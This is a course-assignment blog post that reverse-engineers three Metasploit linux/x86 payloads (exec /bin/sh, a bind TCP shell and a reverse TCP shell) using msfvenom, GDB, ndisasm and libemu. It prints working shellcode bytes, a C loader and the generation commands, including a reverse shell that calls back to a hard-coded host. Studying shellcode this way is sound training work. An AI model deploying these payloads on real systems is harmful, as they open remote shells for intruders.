Assignment #5: Metasploit shellcode analysis

The fifth assignment for SLAE certification is about shellcode analysis and reversing.

Photo by

The fifth assignment for SLAE certification is about shellcode analysis and reversing.

Students were asked to take up at least 3 shellcode samples created using Msfpayload for linux/x86, use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode and presenting analysis.

The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.

Shellcode selection

To list all available payloads generated by msfvenom, you have to issue the following command:

# msfvenom --list payloads | grep linux/x86

From the list, I selected:

  • execve
  • bind TCP shellcode
  • reverse TCP shellcode

GDB in action on linux/x86/exec payload

To see all possible options, the following command line can be used:

# msfvenom -p linux/x86/exec -a x86 --platform linux --list-options

We need CMD parameter, that we can set to “/bin/sh”.

# msfvenom -p linux/x86/exec -a x86 --platform linux CMD=/bin/sh -f c -o exec_sc_with_null.txt

I copied the msfvenom output to a skeleton C program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
		       
int main(int argc, char **argv)
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

After compiling the program, I started it and breaking the execution to the line when control is passed to code bufer content.

break *&code

Shellcode starts with the execve(2) system call number to be saved into the stack and than popped on EAX register

0x00402020 <+0>: push 0xb 0x00402022 <+2>: pop eax

Then we convert the double-word value in EAX into a quadword using the CDQ instruction. CDQ copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.

0x00402023 <+3>: cdq

The registers just before the cdq instruction. As we can see EAX contains the execve call number as expected.

(gdb) info register eax 0xb 11 ecx 0x0 0 edx 0xb7fb7890 -1208256368 ebx 0x401fd4 4202452 (gdb)

After the cdq instruction, we can see edx is 0 (gdb) info register eax 0xb 11 ecx 0x0 0 edx 0x0 0 ebx 0x401fd4 4202452

So cdq can be a clever way to zero the EDX register not using the XOR technique, of course when we’re sure a positive number is stored into EAX.

We pushed EDX (that is zero) into the stack and then we pushed 0x632d (“-c”) on the stack, preparing for execve parameters.

Decoding it

After some more pushes, the stack situation is the one described in this screenshot.

Stack situation

Using python to decode the hex values stored, it’s easy to see it’s “/bin/sh -c” Hex values

We then move ESP value into EBX, preparing the second argument for execve(2) system call.

Right before the INT 0x80 that eventually it will execute the execve(), the situation is the one shown in this screenshot:

execve

(gdb) info registers eax 0xb 11 ebx 0xbfffee3e -1073746370 ecx 0xbfffee2e -1073746386 edx 0x0 0 esp 0xbfffee2e 0xbfffee2e ebp 0xbfffee68 0xbfffee68

Let’s recall execve(2) prototype, as found in my Ubuntu system based on a 4.15 Linux kernel version.

  #include <unistd.h>

  int execve(const char *filename, char *const argv[],
             char *const envp[]);

Meanwhile EAX has execve(2) call number, EBX (execve first parameter) points to the following string:

(gdb) x/s $ebx 0xbfffee3e: “/bin/sh”

ECX, that is the second execve() parameter, points to a memory region containing the arguments for the program that is going to be executed:

(gdb) x/4xw $ecx 0xbfffee2e: 0xbfffee3e 0xbfffee46 0x0040203d 0x00000000 (gdb) x/s 0xbfffee3e 0xbfffee3e: “/bin/sh” (gdb) x/s 0xbfffee46 0xbfffee46: “-c” (gdb) x/s 0x0040203d 0x40203d <code+29>: “/bin/sh”

The “call” trick

The payload generated by msfvenom uses a clever trick to store the command to be executed into the stack.

Call trick

When a CALL instruction is executed, the program passes the control to a given address storing into the stack the value right after the call itself, 0x0040203d in our case.

The bunch of bytes at this address are no more than “/bin/sh” string.

Call trick continue

Back to our registers, EDX is NULL.

So when INT 0x80 it has been called, the following command will be executed “/bin/sh -c /bin/sh”.

Metasploit shellcode is built to be independent from the command the user asks, so a first shell is spawned with ‘-c’ argument that says the shell will execute the string passed as parameter value, “/bin/sh”, in our case.

Exec

ndisasm in action for linux/x86/shell_bind_tcp payload

With the following command we create a TCP BIND shellcode listening to port 4444 and we pass to ndisasm tool creating a disassembled output.

msfvenom -p linux/x86/shell_bind_tcp -a x86 –platform linux -f raw ndisasm -u - > bind_tcp.ndisasm
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

Let’s examine it syscall by syscall.

First syscall

The first code is the following: EBX is set to zero, then EAX is set to zero too because of output of mul instruction.

Zero is stored into the stack, than EBX is incremented and the value 1 is stored into the stack and right after that the value 2 as well.

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80

Stack is now something like this:

      |-----| ESP -->	|  2  |
      |  1  |
      |  0  |
      |-----|

ECX is pointing to this data structure and AL is filled with 0x66 that is 102 in decimal. The 102 value is the code for socketcall() systemcall.

$ grep 102 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102

socketcall() was used in Linux kernels as entrypoint for networking related APIs. In newer kernels, as you can see from my solutions for assignments 2 and 3, relevant socket APIs now have their own system call.

From the man page:

#include <linux/net.h>
int socketcall(int call, unsigned long *args);

...

       call              Man page
       SYS_SOCKET        socket(2)
       SYS_BIND          bind(2)
       SYS_CONNECT       connect(2)
       SYS_LISTEN        listen(2)
       SYS_ACCEPT        accept(2)
       SYS_GETSOCKNAME   getsockname(2)
       SYS_GETPEERNAME   getpeername(2)
       SYS_SOCKETPAIR    socketpair(2)
       SYS_SEND          send(2)
       SYS_RECV          recv(2)
       SYS_SENDTO        sendto(2)
       SYS_RECVFROM      recvfrom(2)
       SYS_SHUTDOWN      shutdown(2)
       SYS_SETSOCKOPT    setsockopt(2)
       SYS_GETSOCKOPT    getsockopt(2)
       SYS_SENDMSG       sendmsg(2)
       SYS_RECVMSG       recvmsg(2)
       SYS_ACCEPT4       accept4(2)
       SYS_RECVMMSG      recvmmsg(2)
       SYS_SENDMMSG      sendmmsg(2)

The first parameter, which is stored in EBX register, defines the API to call. EBX in this case contains the value 1, that is the socket() call.

From /usr/include/linux/net.h:

#define SYS_SOCKET      1               /* sys_socket(2)                */

So this snippet of code is calling the socket(2) system call, passing the parameters pointed by the ECX register (2, 1 and 0).

The socket(2) prototype says that 2, 1 and 0 are domain, type and protocol rispectively.

#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>

int socket(int domain, int type, int protocol);

So, it’s like we’re asking the operating system to do this for us:

int sfd, cfd;
struct sockaddr_in my_addr;

sfd = socket(AF_INET, SOCK_STREAM, 0);

This means, “please, open us an IPv4 socket, using the TCP protocol that provides a sequenced, reliable, two-way, connection-based byte streams and for the protocol, please use the default one”.

The second syscall

The second system call invocation is:

0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80

Again this is a socketcall() invocation, because of a value of 0x66 in EAX register. EBX is set to 2, since it’s the first value popped out form stack. We’re than binding to a given port on a file descriptor, opened by socket(2) and stored in EDX register we save in the beginning on the stack.

We push a double word on the stack, 0x5c110002 that it can be splitted in two separated words:

  • 0x5c11 that it is 4444 in decimal, the TCP port we have to bind to
  • 0x2 that it is the AF_INET constant, used as af_inet

The 0x10 is than 16 bytes, the lenght of struct sockaddr_in data structure.

Calling the INT 0x80, we’re executing the following piece of C code:

my_addr.sin_family      = AF_INET;
my_addr.sin_port        = htons(4444);
my_addr.sin_addr.s_addr = INADDR_ANY;

bind(sfd, (struct sockaddr *) &my_addr, sizeof(my_addr));

The third syscall

The third call is pretty easy to understand. The EBX register is set to 4, that is the code for listen(2).

00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80

The listen(2) prototype is:

#include <sys/types.h>          /* See NOTES */
#include <sys/socket.h>

int listen(int sockfd, int backlog);

The fourth syscall

The fourth system call is just 3 lines of assembler.

0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80

We increment EBX that turns 5 and we invoke socketcall() again. This translates into calling accept() on the given socket descriptor.

The fifth syscall

After calling accept(), it has been called the dup2() system call since in EAX the value of 0x3f it has been stored.

00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32

The call is in a loop because we want to duplicate standard input, output and error that are mapped as file descriptors 0, 1 and 2.

The last call

The last call is the execve() that it will serve the incoming connection to port 4444.

0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

First of all “/bin//sh” is stored into stack with the two push instructions.

>>> "68732f2f".decode("hex")
'hs//'
>>> "6e69622f".decode("hex")
'nib/'

Then the chain of argument for execve() is built, with pointers to memory region storing the command to be executed and then the lastest int 0x80 it has been called.

libemu in action on linux/x86/reverse_shell

We start creating a RAW shellcode for a TCP reverse shell shellcode.

msfvenom -p linux/x86/shell_reverse_tcp -f raw -a x86 –platform linux -o reverse_shell.raw

Using the raw shellcode, I’ll call sctest in order to analyze emulated output.

$ cat reverse_shell.raw| sctest -Ss 100000

verbose = 0
int socket(int domain=2, int type=1, int protocol=0);
int dup2(int oldfd=14, int newfd=2);
int dup2(int oldfd=14, int newfd=1);
int dup2(int oldfd=14, int newfd=0);
connect
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped

stepcount 42

Just from bare sctest output, we can argue this shellcode is something related to networking. It tells a story about a socket, a connect somewhere, duplicating standard input, output and error on a file descriptor and then executing “/bin/sh”.

Let’s add a bit more of verbosity.

cat reverse_shell.raw| sctest -Ss 100000 -vvv 

verbose = 3
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417000
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417000
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 31DB                            xor ebx,ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417002
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] F7E3                            mul ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417004
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] 53                              push ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417005
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] 43                              inc ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417006
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 53                              push ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417007
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 6A02                            push byte 0x2
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417009
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 89E1                            mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041700b
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] B066                            mov al,0x66
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041700d
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041700f
[emu 0x0x53e1f0 debug ] eax=0x0000000e  ecx=0x00416fc2  edx=0x00000000  ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 93                              xchg eax,ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417010
[emu 0x0x53e1f0 debug ] eax=0x00000001  ecx=0x00416fc2  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 59                              pop ecx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000001  ecx=0x00000002  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] B03F                            mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f  ecx=0x00000002  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=2);
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000002  ecx=0x00000002  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 49                              dec ecx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000002  ecx=0x00000001  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000002  ecx=0x00000001  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] B03F                            mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f  ecx=0x00000001  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=1);
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000001  ecx=0x00000001  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: 
[emu 0x0x53e1f0 debug ] 49                              dec ecx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000001  ecx=0x00000000  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000001  ecx=0x00000000  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] B03F                            mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f  ecx=0x00000000  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=0);
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF 
[emu 0x0x53e1f0 debug ] 49                              dec ecx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0xffffffff  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417018
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0xffffffff  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 68AC10CAA4                      push dword 0xa4ca10ac
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041701d
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0xffffffff  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 680200115C                      push dword 0x5c110002
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417022
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0xffffffff  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 89E1                            mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417024
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fbe  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] B066                            mov al,0x66
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417026
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 50                              push eax
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417027
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 51                              push ecx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417028
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fb6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 53                              push ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417029
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] B303                            mov bl,0x3
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041702b
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fbe  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 89E1                            mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041702d
[emu 0x0x53e1f0 debug ] eax=0x00000066  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
connect
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041702f
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 52                              push edx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417030
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fae  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 686E2F7368                      push dword 0x68732f6e
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417035
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416faa  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 682F2F6269                      push dword 0x69622f2f
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041703a
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fa6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 89E3                            mov ebx,esp
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041703c
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416fa6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 52                              push edx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041703d
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416fa2  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 53                              push ebx
[emu 0x0x53e1f0 debug ] cpu state    eip=0x0041703e
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416fb2  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 89E1                            mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417040
[emu 0x0x53e1f0 debug ] eax=0x00000000  ecx=0x00416f9e  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] B00B                            mov al,0xb
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417042
[emu 0x0x53e1f0 debug ] eax=0x0000000b  ecx=0x00416f9e  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] CD80                            int 0x80
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417044
[emu 0x0x53e1f0 debug ] eax=0x0000000b  ecx=0x00416f9e  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF 
[emu 0x0x53e1f0 debug ] 0000                            add [eax],al
cpu error error accessing 0x00000004 not mapped

stepcount 42
[emu 0x0x53e1f0 debug ] cpu state    eip=0x00417046
[emu 0x0x53e1f0 debug ] eax=0x0000000b  ecx=0x00416f9e  edx=0x00000000  ebx=0x00416fa6
